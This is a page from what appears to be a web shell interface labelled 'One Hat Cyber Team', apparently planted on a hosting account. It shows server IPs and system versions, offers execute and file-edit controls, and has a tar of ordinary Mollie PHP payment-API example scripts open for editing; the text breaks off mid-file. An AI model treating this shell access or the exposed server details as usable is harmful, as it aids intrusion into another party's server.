One Hat Cyber Team
Your IP:
216.73.216.102
Server IP:
198.54.114.155
Server:
Linux server71.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
5.6.40
Create File
|
Create Folder
Execute
Dir :
~
/
home
/
fluxyjvi
/
public_html
/
assets
/
images
/
Edit File:
mollie-api-php.tar
examples/subscriptions/cancel-subscription.php 0000644 00000002004 15107407461 0015752 0 ustar 00 <?php /* * How to cancel a subscription. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Retrieve the last created customer for this example. * If no customers are created yet, run the create-customer example. */ $customer = $mollie->customers->page(null, 1)[0]; /* * The subscription ID, starting with sub_ */ $subscriptionId = $_GET['subscription_id'] ?? ''; /* * Customer Subscription deletion parameters. * * See: https://www.mollie.com/nl/docs/reference/subscriptions/delete */ $canceledSubscription = $customer->cancelSubscription($subscriptionId); /* * The subscription status should now be canceled */ echo "<p>The subscription status is now: '" . htmlspecialchars($canceledSubscription->status) . "'.</p>\n"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/subscriptions/create-subscription.php 0000644 00000004355 15107407461 0016003 0 ustar 00 <?php /* * How to create a regular subscription. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * Retrieve the last created customer for this example. * If no customers are created yet, run create-customer example. */ $customer = $mollie->customers->page(null, 1)[0]; /* * Generate a unique subscription id for this example. It is important to include this unique attribute * in the webhookUrl (below) so new payments can be associated with this subscription. */ $subscriptionId = time(); /** * Customer Subscription creation parameters. * * @See: https://docs.mollie.com/reference/v2/subscriptions-api/create-subscription */ $subscription = $customer->createSubscription([ "amount" => [ "value" => "10.00", // You must send the correct number of decimals, thus we enforce the use of strings "currency" => "EUR", ], "times" => 12, "interval" => "1 month", "description" => "Subscription #{$subscriptionId}", "webhookUrl" => "{$protocol}://{$hostname}{$path}/webhook.php", "metadata" => [ "subscription_id" => $subscriptionId, ], ]); /* * The subscription will be either pending or active depending on whether the customer has * a pending or valid mandate. If the customer has no mandates an error is returned. You * should then set up a "first payment" for the customer. */ echo "<p>The subscription status is '" . htmlspecialchars($subscription->status) . "'.</p>\n"; echo "<p>"; echo '<a href="' . $protocol . '://' . $hostname . $path . '/17-cancel-subscription.php?subscription_id=' . $subscription->id . '">18-cancel-subscription</a><br>'; echo "</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/subscriptions/update-subscription.php 0000644 00000002076 15107407461 0016020 0 ustar 00 <?php /* * Updating an existing subscription via the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Retrieve an existing subscription */ $customer = $mollie->customers->get("cst_cUe8HjeBuz"); $subscription = $customer->getSubscription("sub_DRjwaT5qHx"); /** * Subscription fields that can be updated are described by the link: * See https://docs.mollie.com/reference/v2/subscriptions-api/update-subscription */ $subscription->times = 10; $subscription->startDate = '2018-12-02'; // Year-month-day $subscription->amount = (object)['value' => '12.12', 'currency' => 'EUR']; $subscription->webhookUrl = 'https://some-webhook-url.com/with/path'; $subscription->description = 'Monthly subscription'; $subscription->update(); echo "<p>Subscription updated: " . $subscription->id . "</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/invoices/list-invoices.php 0000644 00000003172 15107407461 0013512 0 ustar 00 <?php /* * List the Mollie invoices. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize_with_oauth.php"; /* * Get all the activated methods for this API key. */ $invoices = $mollie->invoices->all(); foreach ($invoices as $invoice) { echo '<li><b>Invoice ' . htmlspecialchars($invoice->reference) . ':</b> (' . htmlspecialchars($invoice->issuedAt) . ')'; echo '<br>Status: <b>' . $invoice->status; echo '<table border="1"><tr><th>Period</th><th>Description</th><th>Count</th><th>VAT Percentage</th><th>Amount</th></tr>'; foreach ($invoice->lines as $line) { echo '<tr>'; echo '<td>' . htmlspecialchars($line->period) . '</td>'; echo '<td>' . htmlspecialchars($line->description) . '</td>'; echo '<td align="right">' . htmlspecialchars($line->count) . '</td>'; echo '<td align="right">' . htmlspecialchars($line->vatPercentage) . '</td>'; echo '<td align="right">' . htmlspecialchars($line->amount->currency . " " . $line->amount->value) . '</td>'; echo '</tr>'; } echo '<tr><th colspan="5" align="right">Gross Total</th><th align="right">' . htmlspecialchars($invoice->grossAmount->value . " " . $invoice->grossAmount->currency) . '</th></tr>'; echo '</table>'; echo '<a href="'. $invoice->_links->pdf->href .'" target="_blank">Click here to open PDF</a>'; echo '</li>'; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/database/.gitignore 0000644 00000000006 15107407461 0012117 0 ustar 00 *.txt examples/orders/refund-order-completely.php 0000644 00000001365 15107407461 0015152 0 ustar 00 <?php /* * Refund all eligible items for an order using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Refund all eligible items for an order with ID "ord_8wmqcHMN4U". * * See: https://docs.mollie.com/reference/v2/orders-api/create-order-refund */ $order = $mollie->orders->get('ord_8wmqcHMN4U'); $refund = $order->refundAll(); echo 'Refund ' . $refund->id . ' was created for order ' . $order->id; echo 'You will receive ' . $refund->amount->currency . $refund->amount->value; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/orders/update-order.php 0000644 00000003211 15107407461 0012766 0 ustar 00 <?php /* * How to update an order with the Mollie API */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Order parameters: * billingAddress The billing person and address for the order. * shippingAddress The shipping address for the order. * orderNumber The order number. For example, 16738. * redirectUrl The URL your customer will be redirected to after the payment process. * webhookUrl Set the webhook URL, where we will send order status changes to. */ $order = $mollie->orders->get("ord_kEn1PlbGa"); $order->billingAddress->organizationName = "Mollie B.V."; $order->billingAddress->streetAndNumber = "Keizersgracht 126"; $order->billingAddress->city = "Amsterdam"; $order->billingAddress->region = "Noord-Holland"; $order->billingAddress->postalCode = "1234AB"; $order->billingAddress->country = "NL"; $order->billingAddress->title = "Dhr"; $order->billingAddress->givenName = "Piet"; $order->billingAddress->familyName = "Mondriaan"; $order->billingAddress->email = "piet@mondriaan.com"; $order->billingAddress->phone = "+31208202070"; $order->update(); /* * Send the customer off to complete the order payment. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $order->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/orders/list-methods.php 0000644 00000001760 15107407461 0013016 0 ustar 00 <?php /* * How to get the currently activated payment methods for the Orders API. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Get all the activated methods for this API key. * To get methods that are compatible with the Orders API * we are passing the 'resource' parameter. */ $methods = $mollie->methods->all(['resource' => 'orders']); foreach ($methods as $method) { echo '<div style="line-height:40px; vertical-align:top">'; echo '<img src="' . htmlspecialchars($method->image->size1x) . '" srcset="' . htmlspecialchars($method->image->size2x) . ' 2x"> '; echo htmlspecialchars($method->description) . ' (' . htmlspecialchars($method->id) . ')'; echo '</div>'; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/orders/create-order.php 0000644 00000010014 15107407461 0012746 0 ustar 00 <?php /* * How to create a new order in the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Generate a unique order id for this example. It is important to include this unique attribute * in the redirectUrl (below) so a proper return page can be shown to the customer. */ $orderId = time(); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * Order creation parameters. * * See: https://docs.mollie.com/reference/v2/orders-api/create-order */ $order = $mollie->orders->create([ "amount" => [ "value" => "1027.99", "currency" => "EUR", ], "billingAddress" => [ "streetAndNumber" => "Keizersgracht 313", "postalCode" => "1016 EE", "city" => "Amsterdam", "country" => "nl", "givenName" => "Luke", "familyName" => "Skywalker", "email" => "luke@skywalker.com", ], "shippingAddress" => [ "streetAndNumber" => "Keizersgracht 313", "postalCode" => "1016 EE", "city" => "Amsterdam", "country" => "nl", "givenName" => "Luke", "familyName" => "Skywalker", "email" => "luke@skywalker.com", ], "metadata" => [ "order_id" => $orderId, ], "consumerDateOfBirth" => "1958-01-31", "locale" => "en_US", "orderNumber" => strval($orderId), "redirectUrl" => "{$protocol}://{$hostname}{$path}/return.php?order_id={$orderId}", "webhookUrl" => "{$protocol}://{$hostname}{$path}/webhook.php", "method" => "ideal", "lines" => [ [ "sku" => "5702016116977", "name" => "LEGO 42083 Bugatti Chiron", "productUrl" => "https://shop.lego.com/nl-NL/Bugatti-Chiron-42083", "imageUrl" => 'https://sh-s7-live-s.legocdn.com/is/image//LEGO/42083_alt1?$main$', "quantity" => 2, "vatRate" => "21.00", "unitPrice" => [ "currency" => "EUR", "value" => "399.00", ], "totalAmount" => [ "currency" => "EUR", "value" => "698.00", ], "discountAmount" => [ "currency" => "EUR", "value" => "100.00", ], "vatAmount" => [ "currency" => "EUR", "value" => "121.14", ], ], [ "type" => "digital", "sku" => "5702015594028", "name" => "LEGO 42056 Porsche 911 GT3 RS", "productUrl" => "https://shop.lego.com/nl-NL/Porsche-911-GT3-RS-42056", "imageUrl" => 'https://sh-s7-live-s.legocdn.com/is/image/LEGO/42056?$PDPDefault$', "quantity" => 1, "vatRate" => "21.00", "unitPrice" => [ "currency" => "EUR", "value" => "329.99", ], "totalAmount" => [ "currency" => "EUR", "value" => "329.99", ], "vatAmount" => [ "currency" => "EUR", "value" => "57.27", ], ], ], ]); /* * Send the customer off to complete the order payment. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $order->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/orders/cancel-order-lines.php 0000644 00000002351 15107407461 0014045 0 ustar 00 <?php /* * Cancel order lines using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Cancel an order line with ID "odl_dgtxyl" for order ID "ord_8wmqcHMN4U" * * See: https://docs.mollie.com/reference/v2/orders-api/cancel-order-line */ $orderId = 'ord_8wmqcHMN4U'; $lineId = 'odl_dgtxyl'; $order = $mollie->orders->get($orderId); $line = $order->lines()->get($lineId); if ($line && $line->isCancelable) { $order->cancelLines([ 'lines' => [ [ 'id' => $lineId, 'quantity' => 1, // optional parameter ], ], ]); $updatedOrder = $mollie->orders->get($orderId); echo 'Your order ' . $order->id . ' was updated:'; foreach ($order->lines as $line) { echo $line->description . '. Status: <b>' . $line->status . '</b>.'; } } else { echo "Unable to cancel line " . $lineId . " for your order " . $orderId . "."; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/orders/list-orders.php 0000644 00000003175 15107407461 0012653 0 ustar 00 <?php /* * List orders using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * List the most recent orders * * See: https://docs.mollie.com/reference/v2/orders-api/list-orders */ echo '<ul>'; $latestOrders = $mollie->orders->page(); printOrders($latestOrders); $previousOrders = $latestOrders->next(); printOrders($previousOrders); echo '</ul>'; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } function printOrders($orders) { if (empty($orders)) { return ; } foreach ($orders as $order) { echo '<li><b>Order ' . htmlspecialchars($order->id) . ':</b> (' . htmlspecialchars($order->createdAt) . ')'; echo '<br>Status: <b>' . htmlspecialchars($order->status); echo '<table border="1"><tr><th>Billed to</th><th>Shipped to</th><th>Total amount</th></tr>'; echo '<tr>'; echo '<td>' . htmlspecialchars($order->shippingAddress->givenName) . ' ' . htmlspecialchars($order->shippingAddress->familyName) . '</td>'; echo '<td>' . htmlspecialchars($order->billingAddress->givenName) . ' ' . htmlspecialchars($order->billingAddress->familyName) . '</td>'; echo '<td>' . htmlspecialchars($order->amount->currency) . str_replace('.', ',', htmlspecialchars($order->amount->value)) . '</td>'; echo '</tr>'; echo '</table>'; echo '<a href="'. $order->getCheckoutUrl() .'" target="_blank">Click here to pay</a>'; echo '</li>'; } } examples/orders/webhook.php 0000644 00000002550 15107407461 0012036 0 ustar 00 <?php /* * Handle an order status change using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * After your webhook has been called with the order ID in its body, you'd like * to handle the order's status change. This is how you can do that. * * See: https://docs.mollie.com/reference/v2/orders-api/get-order */ $order = $mollie->orders->get($_POST["id"]); $orderId = $order->metadata->order_id; /* * Update the order in the database. */ database_write($orderId, $order->status); if ($order->isPaid() || $order->isAuthorized()) { /* * The order is paid or authorized * At this point you'd probably want to start the process of delivering the product to the customer. */ } elseif ($order->isCanceled()) { /* * The order is canceled. */ } elseif ($order->isExpired()) { /* * The order is expired. */ } elseif ($order->isCompleted()) { /* * The order is completed. */ } elseif ($order->isPending()) { /* * The order is pending. */ } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/orders/update-order-lines-multiple.php 0000644 00000004164 15107407461 0015737 0 ustar 00 <?php /* * Perform operations (add, cancel, update) on multiple order lines in a single call. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /** * Perform multiple operations on Order Lines. * * See: https://docs.mollie.com/reference/v2/orders-api/manage-order-lines */ $addOrderLine = [ "operation" => \Mollie\Api\Types\OrderLineUpdateOperationType::ADD, "data" => [ "type" => \Mollie\Api\Types\OrderLineType::TYPE_DIGITAL, "name" => "Adding new orderline", "quantity" => 2, "sku" => "12345679", "totalAmount" => [ "currency" => "EUR", "value" => "30.00", ], "unitPrice" => [ "currency" => "EUR", "value" => "15.00", ], "vatAmount" => [ "currency" => "EUR", "value" => "0.00", ], "vatRate" => "0.00", ], ]; $updateOrderLine = [ "operation" => \Mollie\Api\Types\OrderLineUpdateOperationType::UPDATE, "data" => [ "id" => "odl_1.1l9vx0", "name" => "New order line name", ], ]; $cancelOrderLine = [ "operation" => \Mollie\Api\Types\OrderLineUpdateOperationType::CANCEL, "data" => [ "id" => "odl_1.4hqjw6", ], ]; $operations = [ $addOrderLine, $updateOrderLine, $cancelOrderLine, ]; $order = $mollie->orderLines->updateMultiple('ord_pbjz8x', $operations); } catch (\Mollie\Api\Exceptions\ApiException $e) { /* * When updating order lines for orders that used a pay after delivery method such as Klarna Pay Later, the * supplier (Klarna) may decline the requested changes. This results in an error response from the Mollie API. * The order initial remains intact without applying the requested changes. */ echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/orders/update-order-line.php 0000644 00000004320 15107407461 0013715 0 ustar 00 <?php /* * How to update an order line with the Mollie API */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Order line parameters: * name A description of the order line, for example LEGO 4440 Forest Police Station.. * imageUrl A link pointing to an image of the product sold. * productUrl A link pointing to the product page in your web shop of the product sold. * sku The SKU, EAN, ISBN or UPC of the product sold. The maximum character length is 64. * metadata Provide any data you like, for example a string or a JSON object. We will save the data alongside the order line. * quantity The number of items in the order line. * unitPrice The price of a single item including VAT in the order line. * discountAmount Any discounts applied to the order line. For example, if you have a two-for-one sale, you should pass the amount discounted as a positive amount. * totalAmount The total amount of the line, including VAT and discounts. Adding all totalAmount values together should result in the same amount as the amount top level property. * vatAmount The amount of value-added tax on the line. The totalAmount field includes VAT, so the vatAmount can be calculated with the formula totalAmount × (vatRate / (100 + vatRate)). * vatRate The VAT rate applied to the order line, for example "21.00" for 21%. The vatRate should be passed as a string and not as a float to ensure the correct number of decimals are passed. */ $order = $mollie->orders->get("ord_kEn1PlbGa"); $line = $order->lines()->get('odl_1.uh5oen'); $line->name = "Update line name description"; $orderWithNewLineName = $line->update(); /* * Send the customer off to complete the order payment. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $orderWithNewLineName->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/orders/cancel-order.php 0000644 00000001324 15107407461 0012734 0 ustar 00 <?php /* * Cancel an order using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Cancel the order with ID "ord_pbjz8x" * * See: https://docs.mollie.com/reference/v2/orders-api/cancel-order */ $order = $mollie->orders->get("ord_pbjz8x"); if ($order->isCancelable) { $canceledOrder = $order->cancel(); echo "Your order " . $order->id . " has been canceled."; } else { echo "Unable to cancel your order " . $order->id . "."; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/orders/refund-order-partially.php 0000644 00000001747 15107407461 0015002 0 ustar 00 <?php /* * Refund some items for an order using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Refund 1 item of order line "odl_dgtxyl" for an order with ID "ord_8wmqcHMN4U". * * See: https://docs.mollie.com/reference/v2/orders-api/create-order-refund */ $order = $mollie->orders->get('ord_8wmqcHMN4U'); $refund = $order->refund([ 'lines' => [ [ 'id' => 'odl_dgtxyl', 'quantity' => 1, ], ], "description" => "Required quantity not in stock, refunding one photo book.", ]); echo 'Refund ' . $refund->id . ' was created for part of your order ' . $order->id; echo 'You will receive ' . $refund->amount->currency . $refund->amount->value; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/pagination/backwards.php 0000644 00000002462 15107407461 0013176 0 ustar 00 <?php /* * How to use pagination with the Mollie API. * * pagination is supported on: * - balances * - balanceTransactions * - chargebacks * - clients * - clientLinks * - customers * - invoices * - mandates * - orders * - paymentCaptures * - paymentChargebacks * - payments * - paymentLinks * - paymentRefunds * - profiles * - refunds * - settlementCaptures * - settlementChargebacks * - settlementPayments * - settlementRefunds * - settlements * - subscriptions * - terminals */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; $orderId = 'ord_8wmqcHMN4U'; // cursor paginating backwards through all orders $page = $mollie->orders->page($orderId); while ($page->hasPrevious()) { foreach ($page as $order) { echo($order->id); } $page = $page->previous(); } // iterating backwards using the iterator by passing iterateBackwards = true // in php 8.0+ you could also use the named parameter syntax iterator(iterateBackwards: true) foreach ($mollie->orders->iterator(null, null, [], true) as $order) { echo($order->id); } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/pagination/basic_usage.php 0000644 00000002163 15107407461 0013500 0 ustar 00 <?php /* * How to use pagination with the Mollie API. * * pagination is supported on: * - balances * - balanceTransactions * - chargebacks * - clients * - clientLinks * - customers * - invoices * - mandates * - orders * - paymentCaptures * - paymentChargebacks * - payments * - paymentLinks * - paymentRefunds * - profiles * - refunds * - settlementCaptures * - settlementChargebacks * - settlementPayments * - settlementRefunds * - settlements * - subscriptions * - terminals */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; // cursor paginating through all orders $page = $mollie->orders->page(); while ($page->hasNext()) { foreach ($page as $order) { echo($order->id); } $page = $page->next(); } // using the iterator we can iterate over all orders directly foreach ($mollie->orders->iterator() as $order) { echo($order->id); } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/captures/get-capture.php 0000644 00000001336 15107407461 0013151 0 ustar 00 <?php /* * Retrieve a payment capture using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Retrieve a capture with ID 'cpt_4qqhO89gsT' for payment with * ID 'tr_WDqYK6vllg'. * * See: https://docs.mollie.com/reference/v2/captures-api/get-capture */ $payment = $mollie->payments->get('tr_WDqYK6vllg'); $capture = $payment->getCapture('cpt_4qqhO89gsT'); $amount = $capture->amount->currency . ' ' . $capture->amount->value; echo 'Captured ' . $amount; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/captures/list-captures.php 0000644 00000001377 15107407461 0013535 0 ustar 00 <?php /* * List captures for a payment using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * List captures for payment with ID 'tr_WDqYK6vllg'. * * See: https://docs.mollie.com/reference/v2/captures-api/list-captures */ $payment = $mollie->payments->get('tr_WDqYK6vllg'); $captures = $payment->captures(); foreach ($captures as $capture) { $amount = $capture->amount->currency . ' ' . $capture->amount->value; echo 'Captured ' . $amount . ' for payment ' . $payment->id; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/captures/create-capture.php 0000644 00000001777 15107407461 0013646 0 ustar 00 <?php /* * How to prepare a new payment with the Mollie API. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Capture parameters: * amount Amount in EUROs. This example creates a € 5,- capture. The amount can be the original payment amount or lower. * description Description of the capture. * metadata Custom metadata that is stored with the payment. */ $capture = $mollie->paymentCaptures->createForId('tr_WDqYK6vllg', [ "amount" => [ "currency" => "EUR", "value" => "5.00", ], "description" => "Order #12345", ]); echo "<p>New capture created " . htmlspecialchars($capture->id) . " (" . htmlspecialchars($capture->description) . ").</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/initialize.php 0000644 00000000763 15107407461 0011247 0 ustar 00 <?php /* * Make sure to disable the display of errors in production code! */ ini_set('display_errors', '1'); ini_set('display_startup_errors', '1'); error_reporting(E_ALL); require_once __DIR__ . "/../vendor/autoload.php"; require_once __DIR__ . "/functions.php"; /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ $mollie = new \Mollie\Api\MollieApiClient(); $mollie->setApiKey("test_dHar4XY7LxsDOtmnkVtjNVWXLSlXsM"); examples/payments/refund-payment.php 0000644 00000005326 15107407461 0013704 0 ustar 00 <?php /* * How to refund a payment programmatically */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); if (isset($_GET['payment_id'])) { /* * Retrieve the payment you want to refund from the API. */ $paymentId = $_GET['payment_id']; $payment = $mollie->payments->get($paymentId); if ($payment->canBeRefunded() && $payment->amountRemaining->currency === 'EUR' && $payment->getAmountRemaining() >= 2.00) { /* * Refund € 2,00 of the payment. * * https://docs.mollie.com/reference/v2/refunds-api/create-refund */ $refund = $payment->refund([ "amount" => [ "currency" => "EUR", "value" => "2.00", // You must send the correct number of decimals, thus we enforce the use of strings ], ]); echo "{$refund->amount->currency} {$refund->amount->value} of payment {$paymentId} refunded.", PHP_EOL; } else { echo "Payment {$paymentId} can not be refunded.", PHP_EOL; } /* * Retrieve all refunds on a payment. */ echo "<ul>"; foreach ($payment->refunds() as $refund) { echo "<li>"; echo "<strong style='font-family: monospace'>" . htmlspecialchars($refund->id) . "</strong><br />"; echo htmlspecialchars($refund->description) . "<br />"; echo htmlspecialchars($refund->amount->currency) . " " . htmlspecialchars($refund->amount->value) . "<br />"; echo "Status: " . htmlspecialchars($refund->status); echo "</li>"; } echo "</ul>"; } echo "Refund payment: "; echo "<form method='get'><input name='payment_id' value='tr_xxx'/><input type='submit' /></form>"; echo "<p>"; echo '<a href="' . $protocol . '://' . $hostname . $path . '/create-payment.php">Create a payment</a><br>'; echo '<a href="' . $protocol . '://' . $hostname . $path . '/create-ideal-payment.php">Create an iDEAL payment</a><br>'; echo '<a href="' . $protocol . '://' . $hostname . $path . '/list-payments.php">List payments</a><br>'; echo "</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payments/update-payment.php 0000644 00000002670 15107407461 0013702 0 ustar 00 <?php /* * How to prepare a new payment with the Mollie API. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Payment parameters: * description Description of the payment. * redirectUrl Redirect location. The customer will be redirected there after the payment. * webhookUrl Webhook location, used to report when the payment changes state. * metadata Custom metadata that is stored with the payment. */ $payment = $mollie->payments->get("tr_7UhSN1zuXS"); $newOrderId = 98765; $payment->description = "Order #".$newOrderId; $payment->redirectUrl = "https://example.org/webshop/order/98765/"; $payment->webhookUrl = "https://example.org/webshop/payments/webhook/"; $payment->metadata = ["order_id" => $newOrderId]; $payment = $payment->update(); /* * In this example we store the order with its payment status in a database. */ database_write($newOrderId, $payment->status); /* * Send the customer off to complete the payment. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $payment->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payments/create-capturable-payment.php 0000644 00000004624 15107407461 0016004 0 ustar 00 <?php /* * How to prepare a new payment with the Mollie API. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Generate a unique order id for this example. It is important to include this unique attribute * in the redirectUrl (below) so a proper return page can be shown to the customer. */ $orderId = time(); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * Payment parameters: * amount Amount in EUROs. This example creates a € 10,- payment. * description Description of the payment. * redirectUrl Redirect location. The customer will be redirected there after the payment. * webhookUrl Webhook location, used to report when the payment changes state. * metadata Custom metadata that is stored with the payment. * method Payment method that supports manual capturing * captureMode Capture mode "manual" to make sure the payment isn't captured automatically after creation */ $payment = $mollie->payments->create([ "amount" => [ "currency" => "EUR", "value" => "10.00", // You must send the correct number of decimals, thus we enforce the use of strings ], "description" => "Order #{$orderId}", "redirectUrl" => "{$protocol}://{$hostname}{$path}/return.php?order_id={$orderId}", "webhookUrl" => "{$protocol}://{$hostname}{$path}/webhook.php", "metadata" => [ "order_id" => $orderId, ], "captureMode" => 'manual', "method" => "creditcard", ]); /* * In this example we store the order with its payment status in a database. */ database_write($orderId, $payment->status); /* * Send the customer off to complete the payment. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $payment->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payments/list-methods.php 0000644 00000001752 15107407461 0013361 0 ustar 00 <?php /* * How to get the currently activated payment methods for the Payments API. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Get all the activated methods for this API key. * By default we are using the resource "payments". * See the orders folder for an example with the Orders API. */ $methods = $mollie->methods->allActive(); foreach ($methods as $method) { echo '<div style="line-height:40px; vertical-align:top">'; echo '<img src="' . htmlspecialchars($method->image->size1x) . '" srcset="' . htmlspecialchars($method->image->size2x) . ' 2x"> '; echo htmlspecialchars($method->description) . ' (' . htmlspecialchars($method->id) . ')'; echo '</div>'; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/payments/create-ideal-payment.php 0000644 00000006075 15107407461 0014742 0 ustar 00 <?php /* * How to prepare an iDEAL payment with the Mollie API. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * First, let the customer pick the bank in a simple HTML form. This step is actually optional. */ if ($_SERVER["REQUEST_METHOD"] != "POST") { $method = $mollie->methods->get(\Mollie\Api\Types\PaymentMethod::IDEAL, ["include" => "issuers"]); echo '<form method="post">Select your bank: <select name="issuer">'; foreach ($method->issuers() as $issuer) { echo '<option value=' . htmlspecialchars($issuer->id) . '>' . htmlspecialchars($issuer->name) . '</option>'; } echo '<option value="">or select later</option>'; echo '</select><button>OK</button></form>'; exit; } /* * Generate a unique order id for this example. It is important to include this unique attribute * in the redirectUrl (below) so a proper return page can be shown to the customer. */ $orderId = time(); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; $path = dirname($_SERVER['REQUEST_URI'] 